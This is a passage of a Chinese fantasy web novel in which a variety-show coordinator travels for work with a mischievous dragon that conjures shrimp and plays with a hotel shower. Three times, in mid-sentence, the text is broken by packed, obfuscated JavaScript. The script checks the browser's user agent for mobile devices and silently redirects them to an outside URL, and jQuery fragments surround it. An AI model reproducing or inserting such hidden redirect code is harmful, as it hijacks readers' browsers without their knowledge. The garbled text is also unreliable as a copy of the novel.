过了好一会儿,一个热乎乎的鼻息咻咻地靠近,一拱一拱地把她脸上的灵虾拱开。紧接着,某种湿湿滑滑的东西黏上了她的脸,黏腻的触感让丁依瞬间弹射坐起,睁开了双眼—— 她的眼前,是一个翕动的粉红色鼻头。鼻头上,一双圆咕隆咚的蓝眼睛探出来,正和她大眼对小眼。 “你……”丁依话没出口,就听见清脆的“咔嚓咔嚓”——这条龙把它刚刚从丁依脸上舔到的灵虾给嚼了,然后打了个饱嗝。 在她周围,青色灵虾们堆满了公寓过道,她捞起一只,看着它在自己手掌中无力地蹦跳着,毫无攻击能力。 丁依呼了一口气。 十年过去了,她还是那么胆小。 “所以,这些都是你变出来的?” 丁依背后是几个大网兜,她废了吃奶的劲才把灵虾全部装在里面。灵虾在网兜里挣扎,她表情严肃地看向龙,询问道。 龙看着丁依,乖巧地点了点头,然后哒哒哒地上前,想把它硕大的龙脑往丁依头上蹭。 “不是,你等会,”丁依把它的脑袋扶住,“告诉我,你怎么变出它们的?” 龙看着丁依,停顿了一会。 丁依以为它没听懂,还想说点什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502240|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看见它闭上了眼。 闭上眼,龙并不觉得黑暗,而是感觉自己进入了另一个世界。这个世界于它,遥远而又熟悉,温柔却又充满能量。 几乎不用思考,那些味道的记忆碎片就涌入它的脑海。 海水的咸,还有虾肉的鲜…… 仿佛天生就会一样,随着它把注意力专注到对“虾”的具象化的想象,四周就好像有什么东西源源不断地注入它的身体、给予它能量,然后这能量又在它体内逐渐凝聚…… 啪嗒。啪嗒。 丁依眼睁睁地看着灵虾一只一只地从天花板上掉下来,落在自家地板上。 等到落下的灵虾又堆到她的脚踝,丁依才反应过来,大喊道:“停下!停下!”。 听到丁依的指令,龙睁开了眼睛。 “灵虾雨”停止了。 丁依听到自己的心在胸口砰砰直跳。 好家伙,就连梁凡一次也只能变出一篓子,这条龙居然能这么变…… 莫非…… 龙见丁依半天没反应,哒哒哒凑过来,用头顶她的手。 丁依如梦初醒,扶住龙的头,看着它的眼睛问道:“变出灵虾,是你自己学会的?” 龙点了点头。 “那告诉我,除了这个,你还能做什么?” 龙同样用湖水一样澄澈的眼珠子盯着她,但没有动作。 丁依拎起一只灵虾,又问了一遍:“告诉我,除了这个,你还会变什么?” 这次龙有反应了—— 它歪了一下脑袋。 这是没听懂的意思。 虽然又梗住了,但丁依没有太失望,毕竟今天的进展已经超出了她的期待。 她揉了揉龙的脑袋,准备收拾再次落满一地的灵虾。 这时,她手机收到了一条消息来自张铭的消息: 「帮我把文件带去绿洲市。」 丁依这才想起来,她明天要出差,还没收拾行李。 其它行李倒好说,就是…… 她转头,看向了旁边硕大的那一条龙。 对上丁依的眼神,龙又歪了歪脑袋。 10. 第 10 章 绿洲市是一座海边城市。 高铁抵达绿洲市,没来得及去酒店办入住,丁依就直接拎着行李箱,打车前往郊区的绿洲影视基地——《重启顶流时代》的录影棚所在地。 一走进节目组租的7号棚,丁依就闻到一股令人不适的装修气味,她皱着眉,下意识捂住鼻子。 主舞台还没正式交台,戴着黄色安全帽的工人们穿梭来去,四处尘土飞扬,很难想象没几天后,这里就要正式开始舞台录制。 丁依也要去后台的制片办公室领一个黄色安全帽。这几天她要在搭建中的场馆里穿梭,安全帽必不可少。 每一次来到新的录影棚,就像刷出一张新迷宫地图。丁依沿着环形后台走了整整一圈,都没找到制片办公室。 正好几位戴着黄色安全帽的工人经过,丁依赶紧上前问路。 对方指明方向,丁依道过谢,转头想往正确的方向走去。突然听到包里“嘀铃铃”——有电话来了。 丁依今天背着一个帆布包,包的外侧还挂了个铃铛挂饰。 她伸手想从帆布包里掏手机。 手还没伸进去,她的帆布包居然先自己“动”了一下。 啪!丁依一把按住“帆布包”。 她抬起眼,见那几个工人的背影已经走远,才松开了手。她从外面揉了揉“帆布包”以作安抚,然后捂住包口,小心翼翼地从旁边伸进去一个小缝,把手机拿了出来。 来电人是光明公寓的物业。 丁依一看是他,就猜他又把自己家和隔壁2号楼的502室弄混了。 果然,一接起电话,对方就急吼吼道:“于先生,您家502室又漏水了!” 丁依道:“您又打错电话了,我家是1号楼那家502室。” 物业这才惊觉,匆忙道歉:“不好意思丁小姐!”然后直接挂了。 自从那天的乌龙,物业又给丁依打错过两次电话,每次都是因为隔壁2号楼的502室,搞得丁依都有点好奇——那家人到底在搞什么幺蛾子,居然能比自己家出的状况还密集。 放下手机,丁依用手臂轻轻捂住帆布包包口,准备按照刚刚几位工人师傅的指路,继续寻找制片办公室。 突然,迎面转出了另一位戴着黄色安全帽的中年男子。 他脸上长着圆圆的蒜头鼻,长相十分朴实,眼神中不知为何一股惶然,让丁依忍不住多看了他一眼——他一身皱皱巴巴的黑色教练外套,外套和黑裤子上都沾着不少发白的建筑尘灰,看来也是一位施工队的工人师傅。 丁依继续往前走,正要和这位师傅擦肩而过时,却听到一声“你好”—— 这位工人师傅把丁依拦了下来:“你好,小姑娘,请问你知道节目组的制片办公室在哪里吗?” 丁依有些诧异:“不好意思,我也是刚来的,我也在找制片办公室。不过我刚问了您同事,不应该在您来的这个方向吗?” 听到丁依的话,这位工人师傅表情瞬间茫然起来:“我同事?你问了我同事?” 见他陷入卡机状态,丁依答道:“对,您同事说就是那边,所以您过来的路上,没见着制片办公室?”她指了指他的身后。 师傅脸上茫然依旧:“我同事是谁?没啊,我都转了不知道多少圈了。”他的手下意识地往衣服上搓了搓,丁依注意到,他正好搓到一块沾了白灰的位置。 见丁依也不知道,他开口道:“不好意思啊小姑娘,谢谢你,那我还是打电话问问我同事吧。” 丁依摆摆手,道了声“不用客气”就继续迈步往前。她还是准备按照前面那拨师傅指的方向试试看。 这时,丁依的手机又响了,看到来电显示“老杨”,丁依接起了电话:“杨老师,您到录影棚了吗?” “嗯嗯,我到录影棚了,不过你说的这个制片办公室,我怎么没找到啊?”电话里,老杨问道。 丁依听出不对。她举着手机,停下脚步,转过身,回头看去。 她身后,刚刚那位“工人师傅”还站在原地,也正举着手机,对着听筒十分惶然地连声询问:“喂?小丁?你听得到吗?喂?小丁?” 丁依抬了抬眉毛,在连续不断的“喂?小丁?”声中,走到了这位“工人师傅”的身边,拍了拍他的肩膀。 见他转头,丁依礼貌地冲他点了个头:“杨老师您好,我就是小丁”。 老杨看着她,眼中满是茫然,半天才反应过来: “哎哟,这场乌龙闹的。” 和老杨碰头后,丁依又问了两拨路人,才终于摸到制片办公室的正确地址。 丁依领了安全帽,值班制片拿出一张登记表,让丁依登记。 一旁的老杨看到后,问道:“我头上这个安全帽是路上遇到的人塞给我的,我也需要登记吗?” 丁依看了老杨一眼。他身上会弄一身灰,应该是误入了正在搭建中的主舞台区域,不戴安全帽待在施工区属于违规,估计哪位施工队的师傅看不下去,随手把这顶安全帽塞给了他。 “没事,老师你拿着吧,给你帽子那人应该登记了的。”制片回答了老杨的疑问。 除了安全帽,丁依还要领录像现场的专用工作证。 不仅是她自己的工作证,包括老杨在内,所有丁依负责对接的外部团队工作证,按照规矩,都要由她领取。 值班制片对着几张表,边念边找工作证:“……《华服之下》纪录片,杨光江,虞仁甄……定妆照团队,王宏生,钟欣怡,陈静仪……时尚杂志团队,赵林,洪舒欣……” 制片费了大半天才对完,她把翻出来的一大摞工作证交给丁依:“这些都是您的,先领了吧,免得这几天来一个找一个。” 丁依道了声谢,从中间抽出自己和老杨的两张,剩下的全塞进了包里。 往包里塞工作证的时候,丁依的动作十分小心,捂着帆布包的一侧,好像生怕撞到什么。 见到丁依拿了那么多工作证,老杨咂舌:“你怎么一个人拿那么多工作证。” 值班制片听到老杨的话,笑着插话:“没办法,我们丁老师辛苦,工作证大户。” 老杨一脸懵,显然没懂制片的意思,丁依也没多话,笑了笑就带老杨离开了制片办公室。 从制片办公室走出来,丁依带老杨走出了7号棚。 “杨老师,现在我们去1号棚的练习室,魏家隆的小组应该正要开始练习,我们先去看看情况。” 老杨又开始惶然了。他紧张地问道:“现在就要开始拍吗?可我的摄像还没到。” 他在身上乱摸,边连声道歉:“真是抱歉,摄像家里早上漏水了,出门稍微迟了点,说改了一班高铁,估计才刚到高铁站,”他终于摸出手机想要打电话,“我和摄像说一声,让他尽快!” “没事,杨老师,是我没说开拍时间,不怪您。”丁依的表情倒是很平静,她顿了顿,又道:“既然您要和摄像老师打个电话吧,就和他说一声,他一会儿到了绿洲市,也不用来现场了。今天……估计咱们是拍不上了。” 老杨的表情又从惶然转变为懵。“那……那我让摄像来了直接去酒店住着?就不用过来录影棚了?” “嗯,是的。”丁依点头。 “那……我们就明天再拍?具体时间等你通知?” 丁依又停顿了一下,才道:“明天也不一定,我猜,这次录像前,魏家隆可能都不会配合拍摄了。” “什么!!?”老杨睁大了他小小的眼睛。 自从魏家隆第一次拒绝了需求,丁依就一直在跟进情况。 经过和陈妮的一番“对峙”,第二次需求成功递到艺人那里。魏家隆那边倒是没有一口回绝,他们发给艺统消息:“那 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根据艺统的反馈,从昨天下午的合组练习开始,魏家隆经纪人的口风就变了,倒也不说拒绝,只说因为节目连续录制,他们艺人团队根本接触不到艺人,没法和艺人商量。 “艺统-经纪人”这条路没走通,丁依便又去问了节目组的魏家隆艺人PD,才知道真实情况:“魏家隆和同组艺人关系紧张,确实状态不好,要磨合一下看看。” 老杨问:“那我们就等魏家隆和他的组员磨合好?磨合好了,他心情就好了吧?” 丁依摇摇头:“根据我的经验,这种头一天就闹翻的组,之后也不会磨合好了。” 老杨又惶然了:“那咋办?” 丁依道:“通常还有一个办法,就是等这场舞台竞演结束。等舞台结束,这个组就自动解散,任务也告一段落,艺人一般情绪就没那么大了。” 老杨又高兴起来:“行呀,我能等。” 丁依叹了口气:“坏消息是,您虽然能等,但艺人不能。魏家隆虽然已经过气,但好歹也是节目里最有人气的,所以他有的没的通告居然还不少。等录制完舞台竞演的当天凌晨,他就要赶飞机走了。即使他到时候心情好了,也没空拍您这个纪录片。” 老杨又懵了:“这……那我交了方案的其余几个人呢?” 在第一次被魏家隆拒绝后,丁依就请老杨从艺人名单里再选几个人做了方案,作为备选。 丁依捏了捏眉头,还是叹气:“另外那几个人的方案,你也和魏家隆一样,按人气从高到低选的吧?” 老杨疑惑:“是呀,有什么问题吗?我想说人气高的先拍,有关注度嘛!” “思路倒是没有问题,不过……”丁依顿了顿,“就是这几个人气高一点的想抱团,所以您选的其他几个备选,也和魏家隆分到一组。所以,这几个备选和魏家隆一样,现在心情也都不太好。”见老杨急着想要接话,她又补充:“而且,也因为他们有点人气,所以情况和魏家隆差不多——录完这次的舞台后不能留,要马上飞走赶通告。” 老杨着急得不行,把身上的灰搓得扑扑直掉。“那怎么办?所有的路都堵死了,不会第一期就开天窗吧。”他想起什么,又和丁依道:“我再说一遍,别想让我用别人用过的素材,那我可不能接受!” 丁依正想回答,突然察觉肩上的帆布包猛地动了一下。听到一阵铃铛声响起,她猛地把帆布包捂住。 老杨奇怪道:“哪儿来的铃铛声?” 丁依脸上流露出一丝不易察觉的尴尬。她故作自然地指了指自己帆布包带上的铃铛包挂:“我包上的挂饰,估计刚有风吹,铃铛就响了。” 接着她赶紧话锋一转:“总之,杨老师,我们先去魏家隆的练习室,看看什么情况吧。” 11. 第11章 去1号棚的路上,丁依一路紧紧捂着自己的帆布包。 老杨关心道:“小丁,你是不是肚子痛?” 丁依回以“微笑”:“没事,我就是……有点饿了。”她作势揉了一下肚子,又马上把手移回帆布包上。 “那你要不要先去吃饭?” “不急,我先带您去魏家隆他们的练习室吧。” 所有的艺人练习室都在1号棚。节目组租下了一整个棚,然后再里面重新搭建了“录制专用”的舞蹈房——所有的舞蹈房镜子,都是单向镜。摄像机都“隐藏”在单向镜后面,减少录制时对艺人练习和真人秀状态的影响。 见到单向镜,原本还惶然不已的老杨,一下子兴奋了起来。 他绕到一排摄像机后面,从单向镜的“观察侧”,看向“被观察侧”那头——舞蹈房里正在吵架的魏家隆和他的团员,激动地问丁依:“这是不是就是警匪剧里头,警察审讯用的那种镜子?” 老杨的声音有点大,引得一旁的节目组摄像看了他一眼。 注意到节目组摄像的眼神,老杨赶紧捂住自己的嘴:“不好意思,我是会员专供纪录片《华服之下》的导演,刚刚打扰您拍摄了吧?” 节目组摄像虽然不知道“会员专供纪录片《华服之下》”是个什么东西,但他习惯了在剧组有各色人等出没,便也老练地和老杨打了个招呼,然后提醒老杨:“导演,您待在这边没问题,就是说话声音麻烦小点,虽然艺人是用小蜜蜂收声,但毕竟只隔了一面镜子,太大声了传过去不好。” 老杨连声说好。 那摄像又问:“导演您只是看一下做个场记,还是要跟我们一起拍?” 老杨看向丁依。 丁依道:“就看一下做个场记,如果有需要,我们后期能调您这边拍的素材。” 节目组摄像点点头:“那行,我给这位导演安排个椅子。” 老杨感激不已,跟着摄像就去了。 丁依在老杨身后,眼看着他不仅拿到了椅子,还很快和摄像们熟稔地攀谈了起来,心里不禁啧啧称奇。 这时,丁依突然感觉到帆布包里又是一阵暴动。她第一时间捂住,但铃铛声还是传了出来,引得周围的摄像纷纷侧目。 老杨一看情况,连忙说声“抱歉”,走过来严肃地和丁依道:“小丁呀,咱们要配合人家工作,你这个铃铛,要不从包上拿上来吧。”义正言辞的架势,俨然已经把人家当成了他的自己人。 丁依道:“好的,不好意思,不过这个铃铛有点难取,我出去取吧,顺便去食堂把咱俩的盒饭拿过来。” 说完,她欠身和节目组摄像们道了个歉,猫着腰捂着帆布包,小跑离开了1号棚。 丁依找到了影视基地里的一个空置棚,进去打探了一番,确定没人后,她蹲在一个角落,松开了捂紧的帆布包口。 “行了,出来吧。” 听到丁依的话,一双迷你龙角率先从帆布包口伸了出来。然后是毛茸茸的鬃毛,和一双圆溜溜的蓝眼睛。 等这双蓝眼睛滴溜溜地观察了一圈环境,它才舍得把整个脑袋瓜都给伸出来,两只龙爪扒在包沿上。 “这时候倒知道小心谨慎了,刚刚人那么多,偏偏要动来动去的。”丁依叹气。 她把包放在地上,平摊着伸出一只手,这条「龙(出差便携版)」便非常自觉地呼哧呼哧爬上了她的手心。卷起尾巴在丁依的手心蹲好,它睁着小小的蓝眼睛,对着丁依歪了歪头。 “说吧,怎么回事?” 龙又歪了歪头,然后抬起一只前爪,扭着脖子使劲扒拉自己的脖子上的一条“宠物项圈”。 这条“宠物项圈”由半透明的浅金色链条串联,正前方垂坠着一颗金色铃铛。龙这一扒拉,项圈上的铃铛随之而动,一阵铃铛声在空荡的摄影棚里回响。 丁依揣测它的意思:“戴着这个,你觉得不舒服?” 龙放下爪子,点了点头,然后又扭起脖子扒拉项圈,似乎想把自己的头从项圈里扒出来。铃铛声响个不停,吵得丁依脑袋嗡嗡得。 “行了行了,没用的,这个东西你扒不下来。” 丁依把龙的爪子按了下来。 龙脖子上新戴上去的这条项圈,表面上看起来像是普通的宠物项圈,实际上,却是丁依上次回妖行街时,从叶瑾瑜那里借来的门派法器——驭灵圈。 简单来说,这个驭灵圈的功能,就是让凡人轻松拥有控制妖怪的能力。大部分妖怪,只要套上这驭灵圈,都能被治得服服帖帖。据叶瑾瑜说,当年,即使是身上背了不少人命的狠角色,戴上这驭灵圈后,妖力都要被压制个十有九成。至于戴上驭灵圈还能不受控的妖怪,几乎是绝无仅有,反正叶瑾瑜自己,是只遇过一个。 丁依借驭灵圈,是为了方便带这条龙出差。 不过,看着面前扭来扭去、一心想把驭灵圈脱掉的这条,丁依忍不住吐槽—— 说好的“只要套上这驭灵圈,都被治得服服帖帖”呢? “好了,别动了,我看看。” 丁依用大拇指按住了龙抓耳挠腮的小爪子,仔细检查了一圈,发现了华点——驭灵圈上的铃铛缠住了龙的一小缕鬃毛,所以它才觉得不舒服。 她拿指甲尖捏着鬃毛,小心地把它从驭灵圈里揪出来。揪出后,龙使劲甩了甩头,便不再挣扎了。 “现在没有不舒服了吧?”丁依问。 龙点点头。 “那今天接下来,能不能拜托你配合我一下,在包里不动?” 龙又点了点头,然后低下脑壳在丁依手上蹭蹭。 “那好,说到做到。要是再动,我就得拿更不舒服的东西锁着你了。”丁依“恩威并施”地恐吓完,把龙又塞回了包里。 当丁依拎着盒饭走回1号棚时,老杨正在和节目组摄像们热聊。 显然,老杨已经在摄像大哥中混得如鱼得水,脸上不见惶然,一副身心都十分松弛的样子。 丁依心想:原本以为老杨是一个中年愣头青,不料他还是有两把混社会的刷子。 她凑过去拍拍老杨,道:“我回来了,”她又问道:“你们聊天这么大声,不要紧吗?” 老杨听到她的话,又指了指单向镜的对面—— 魏家隆组的练习室里空荡荡的,没有人练习,只有角落坐着一个不知道是谁的人,正在休息。 “魏家隆他们人呢?” “吵翻啦!人都走啦!”老杨一脸看好戏的标签。 他告诉丁依,刚刚她出去的这段时间,自己已经跟摄像们套好了情报:“说从昨天下午吵到今天,最大的刺头就是那个魏家隆,啧啧啧,估计再这么吵下去,过两天的舞台表演都要开天窗!” 丁依看着现在的老杨,一点都看不出他刚刚也曾经为自己的纪录片可能开天窗而焦虑。 既然主角都在闹罢工,她和老杨两个配角刚好吃个盒饭。 找了个空置的桌子,两人面对面坐下。 节目组的盒饭又干又油,丁依吃得味同嚼蜡,对面的老杨倒是吃得津津有味。 边吃,老杨边和丁依聊起他第一次进综艺节目录制现场的感受。 “你不说,这综艺真人秀,还是挺有意思的,挺真实的。”老杨往嘴里塞了一块梅干菜扣肉,含糊不清地感慨道。 丁依撇撇嘴,心想有时候过于真实也不好,搞得计划里的工作都完不成了。 嘴上却说:“毕竟还是综艺,比不上您之前做的纪录片真实。” 老杨摇摇头:“我做的纪录片性质不一样。” 丁依不知道老杨之前做什么纪录片,也不感兴趣,就没接话。 见她不说话,老杨又主动提问:“小丁,你是怎么会进这一行的?” 原来老杨这么有聊天的热情,难怪能很快和节目组摄像们打成一片。 丁依回答道:“就凑巧,大学学的传媒,毕业的时候海投简历,凑巧这家视频网站给了我offer,我就做了。” 老杨点点头,又问:“那你大学专业,怎么会选的传媒?” “也是凑巧,填志愿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老杨越说越起劲:“真的,你还记得第一次开会吗?那次,你一开口就问‘合同里有没有’,我就误会你是个拿着规矩压人的。后来第一次被魏家隆拒绝,你啪的一条消息不由分说地甩过来,我还以为你是个就会把消息转来转去、推卸责任的混子。今天过来,见到实际情况,才知道原来艺人真的这么任性,综艺录制里突发状况那么多,你在意的那些确实都是必备流程,你已经挺负责的了——” 说着,老杨对丁依露出一个略带歉意的表情,“——之前是我误会你了,后面不管什么情况,就算不太顺利,我们也见招拆招,一起承担吧。” 听完老杨的话,丁依顿了顿,又对老杨笑了笑,然后往嘴里塞了口饭。 咀嚼着嘴里干硬的米饭,不知怎么的,丁依突然对老杨之前做过的纪录片好奇起来。 她开口问道:“您呢?您怎么会开始做纪录片?” 老杨啃着盒饭里的排骨,回答道:“我也是凑巧,一开始只是对某些题材感兴趣,但只是想研究。后来我想着,反正都要研究,不如拍出来。”他用手机打开一张图片,递给丁依,“这些纪录片,都是我之前拍的。” 丁依接过手机。图片应该是从老杨的个人履历里截图的,「作品」一栏里写着不少纪录片片名。她原本想着之后把老杨的纪录片作品搜来看,但看到《桃花源入口与河流研究》《井与地下水的故事》这样的片名,她又打消了这个念头。 “原来您是这个赛道的,那怎么会想到来接我们这个活?两边差的可有点大。”丁依把手机还给老杨。 老杨叹了口气:“当然是因为缺钱了呗。” 丁依想起,这事张铭好像跟她提过。她点点头:“毕竟市场大环境不好,现在您做纪录片,估计没您以前挣钱吧?” 老杨笑道:“和市场环境没关系,做纪录片吧,就没有挣钱的时候。” 确实,就看老杨那些纪录片的名字,市场环境再好,估计也很难挣得到钱。丁依心里这么想,嘴上还是顺着话往下问:“那您以前拍纪录片的经费都是哪儿来的?有人赞助吗?” “喔,算是有人赞助吧。”老杨道,“我赞助我自己,花家里给的钱。”说完,他往嘴里扒进了最后几口盒饭,把整盒饭都吃得干干净净。 丁依愣了,没想到面前圆脸盘蒜头鼻、满身是灰、疯狂干饭的老杨,居然是个家里有矿的。她不知该接什么话,只好也埋头默默吃饭。 对面,老杨吃完饭,放下筷子擦了擦嘴又接着说:“其实,我已经有新的纪录片计划了,等咱们这个项目结束,钱到账了,我就筹备开拍。” 丁依顺嘴问道:“喔?已经有主题了?” 老杨一脸得意:“别说主题,我连新纪录片的名字都想好了,就叫,”他用筷子敲了敲桌子。 “——《失落的龙神》。” 12. 第12章 截止到出差第一天收工,丁依的工作毫无进展。 她和老杨在录影棚蹲守了一整天,直到晚上11点,魏家隆和组员结束练习回宿舍后,两人才随后离开。走出1号棚时,丁依揉了揉发胀的太阳穴——这时候又觉得,什么都做不了比要做的事太多更让人疲惫。 回酒店的出租车上,丁依和老杨说了一声:“明天要麻烦您自己跟魏家隆的练习室了,我有别的工作,不过我人就在隔壁录影棚,您有事随时找我。” 老杨比了一个OK手势,表示没问题。 经过今天,两人也算培养出了一些默契。 抵达酒店后,两人办好入住,正要分道扬镳之时,老杨提问: “那,要是明天还不能拍,我还要让我的纪录片摄像去现场吗?” 这倒是个问题,看今天的情况,纪录片明天估计是拍不上了。 丁依想了想,道:“您还是请摄像老师去一下录影棚吧,就算不能拍,也能陪您吃个盒饭。” 进了房间,看到像面包一样柔软蓬松、雪白平整大床,丁依克制住了立刻躺在上面的冲动。毕竟现在她也满身灰尘,比老杨好不了多少。 她在房间里转悠了一圈,往门口拍了一张涤尘符,酒店房间的空气一下就清新了起来,荡涤了她在“半工地”状态的录影棚受虐一天的身心。搓了搓手臂,她又在门口补了一张四季如春符——绿洲这座海边城市,晚上还有点冷。 这就不差什么了吧? 丁依打开行李箱,准备找她的拖鞋、睡衣和化妆包。 想到过一会儿,等洗好澡换好干净衣服,自己就能舒舒服服地躺在蓬松柔软的床上,享受一会儿睡前宜人清新的空气,丁依的心情终于舒畅了起来。 突然,一阵猛烈的铃铛声响起。 噢对,还有它。 丁依找到随手放在地上的帆布包,把被遗忘了的龙给捞了出来。 直到被丁依托在手心,这条龙还在拼命摇晃它的脑袋,脖子上的铃铛被它摇得震天响。 丁依拍了拍龙的脑袋让它安静,然后手上掐诀—— “嘭”地一声,龙又霎时间恢复成了原来的体型。 并且,它这硕大的一条,立刻毫不犹豫地在丁依心心念念、想要洗好澡换好干净衣服再躺上去的滚了两圈。 看着皱巴成一团的床面,和床面上四脚朝天的龙,丁依安慰自己:好歹是自己直接从家里带出来的,身上还比较干净。 不过,丁依很快又发现——龙原本的体型,对酒店房间实在是太大了。 她又试了几次,把龙缩小到了原本的三分之一,让它可以在房间里自由移动;然后又从袖里乾坤翻出一块从陶叔那儿打包的蛋糕,给龙吃着玩。 处理好这些,丁依才重新回到行李箱旁,翻出拖鞋、睡衣和化妆包,脱了外套,准备进淋浴间洗澡。 关上淋浴间的门,站到花洒下,丁依刚准备脱掉打底的背心,突然听到背后“咣当”一声。 一转头,就对上了一双圆溜溜的蓝眼睛。 看起来,是龙扑在淋浴间的门上,结果没想到门不受力,它就摔了进来。 丁依歪了歪头,问龙:“你又咋了?” 龙也很意外。 它压低了耳朵,微微侧开脸,眼珠子又转回来。 之前,它每次扑在丁依家的门上,那扇门都不会动。没想到这个门居然一扑就开了,搞得它也怪尴尬的。 看它贼龙鼠眼的样子,丁依拎着它的后颈,把它放到了淋浴间门口,叮嘱道:“在这等我下,我洗完澡就会出来的,好吗?” 龙歪了歪头。 丁依敲了敲玻璃,示意龙看自己的动作。 她先拧开水龙头,让水喷出来。“我洗澡呢,要先打开水。” 接着她拧紧水龙头,让水停了。“等我洗好澡呢,就会关掉水。” “所以等水停了,我就出来了。懂了吗?” 这次,龙点了点头。 孺子可教,丁依摸了摸龙的脑袋。 淋浴间门被关上,淅淅沥沥的水流声响起。 温暖的热水冲刷过身体,紧绷的肌肉得到放松,大脑里的思路也会清晰不少。 丁依经常在洗澡的时候想事。 揉着头发上的泡沫,她在脑内复盘今天的情况。 虽然今天她和老杨终于达成了一定的共识,但并不能实际解决纪录片的推进问题。 如果魏家隆组一直不配合,保底方案还是用节目组的素材,老杨不接受也得接受。 要用节目组的素材,还要提前给需求到后期剪辑团队,让他们开权限,这个可以等出差结束再解决。 对了,等她出差结束,还要解决这条龙。上次叶瑾瑜答应了,自己可以把它送到她那里…… 丁依正思考着,突然察觉淋浴的水停了。 嗯?她这么倒霉,碰上酒店的自来水管道坏了? 她反复把水龙头拧松拧紧,见依旧没水出来,只好用浴巾裹了裹身体,顶着一头的泡沫走出淋浴间,准备给酒店前台打电话。 打开门,龙正在床上“钻洞”。 见丁依从淋浴间出来,它立刻跳下床哒哒哒跑来。丁依一手把它拎开,走到桌子边,龙跟着钻到桌底,围着丁依的腿绕来绕去,蹭得她的腿痒痒的。 电话接通,对方问道:“这里是前台,请问有什么可以帮您?” 丁依:“你好,我房间的淋浴洗到一半水停了,方便帮忙看看吗?” 对面回复:“好的,很抱歉给您带来不便,我的同事稍后过来。” 丁依道了声谢。挂了电话,她从行李箱里找了件衣服披着,见龙又绕到自己身前,她伸手摸了摸龙脖子上的“项圈”,道了一声:“一会儿要来人,要辛苦你再变小一会儿,”就想掐诀施咒。 不料龙却抬爪按住她的手,歪了歪头,表示了拒绝。 丁依只好又和它解释了一遍。 她指了指背后的淋浴房:“水停了,淋浴坏了,我不能洗澡了。” 又指了指房门,“所以一会儿要来人修,辛苦你再变小一会儿,就一会会就好。” 说着,她伸出一只手,捏着食指和拇指,比了个“就一会会”的手势。 而她另一手藏在背后,已然偷偷提前掐诀,正准备趁龙不便,霸王硬施法。 不过,正当丁依要开口念咒的时候,突然听到身后传来哗啦啦的水声。 ——刚停了的水,就这么水灵灵的恢复了。 虽然有点莫名,但总归是好事。丁依赶紧和前台打了个电话,自己则准备继续洗澡。 然而,令人无语的事发生了。 等丁依站在淋浴下,刚恢复的水,居然又停了。 她只好又重复了刚才的步骤:顶着一头泡沫出来,给前台打了电话,找了件衣服披着,准备施法把龙变小—— 没想到,最终结果,也和上次一样—— 没等丁依施法把龙变小,水就恢复了; 而等丁依和前台打电话道歉,准备再次洗澡时,水就又停了。 丁依一开始还当是自己倒霉,可当一模一样的事情重复到第四轮时,她终于反应过来,一把拎起像没事龙一样跟着自己哒哒哒满房间跑的那条—— “喂,是你小子搞的鬼吧?” 被拎起来的龙被拉伸成了长长的一条。 它无辜地看着丁依,歪了歪头。耳朵也还是竖着,没有压下来。 莫非自己冤枉了它? 丁依和它对峙半响,还是把它放下来。 龙重新落地,又哒哒哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502243|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跑到桌子边,然后回过头望向丁依——既然水又停了,按照流程,丁依应该过来给前台打电话了。 丁依沉吟着踱步到桌边。 她手放到电话上,又缩了回来,低头看向正蹲在脚边的龙。见它也正望着自己,丁依便和它商量: “我知道刚刚不是你弄的了,但如果你能让淋浴的水重新流出来,明天我就不让你藏在包里了,你觉得怎么样?” 龙的眼里一片澄澈,好像没听懂丁依说的话。但丁依看到,它的耳朵微微转了转。 “不仅不让你藏在包里,还不需要你变小了。今天一整天缩在我的包里,很不舒服很憋屈吧。你觉得,这样可以吗?”丁依动之以情,层层加码。 这次,龙的眼神犹豫了。 一人一龙对视许久,它终于点了点头。 龙点头的下一秒,淋浴间的水哗啦啦地流淌了下来。 看到这一幕,丁依先是和煦地笑了笑,然后猛地拎起龙的后脖子就是一阵狂摇—— “我就知道是你搞的鬼!我就知道是你搞的鬼!我就知道是你搞的鬼!” 折腾半夜、兜兜转转、百转回肠,丁依终于把她头发上的泡沫冲掉了。 她打着哈欠,一边坐在床上吹干头发,一边开着笔记本电脑看工作材料。 突然,哗啦啦的水声又响了起来。 丁依对这声音已经有点PTSD了。她转头一看,空无一人的淋浴间里,花洒又独自开始放水,看着跟鬼片似的。 她勾起脚,用脚背蹭了蹭龙的下巴:“喂,别玩了,让水停下。” 龙正努力在床脚用被子“堆窝”,听到丁依的话,它停下努力刨被子的爪子,抬起头望着她,睁着眼睛不动。 “干嘛,不要装无辜,这招骗不了我了。”丁依铁血无情。 突然,面前的笔记本电脑上,节目组工作群里叮叮当当地冒出一串新消息提醒。 丁依立刻警觉,根据她的经验,大半夜突然来工作消息,若非甩锅就是撕逼。 打开群聊,却发现新消息居然是一连串的“水漫金山”小视频。 「救命,制片老师在吗?能不能联系下酒店,我房间发大水了。」 「半夜被水声吵醒谁懂」 「各位同事,你们不能自己联系酒店前台吗?」 「联系了啊,前台一个小姑娘跑来跑去也没辙,制片老师能打电话把经理叫醒吗?」 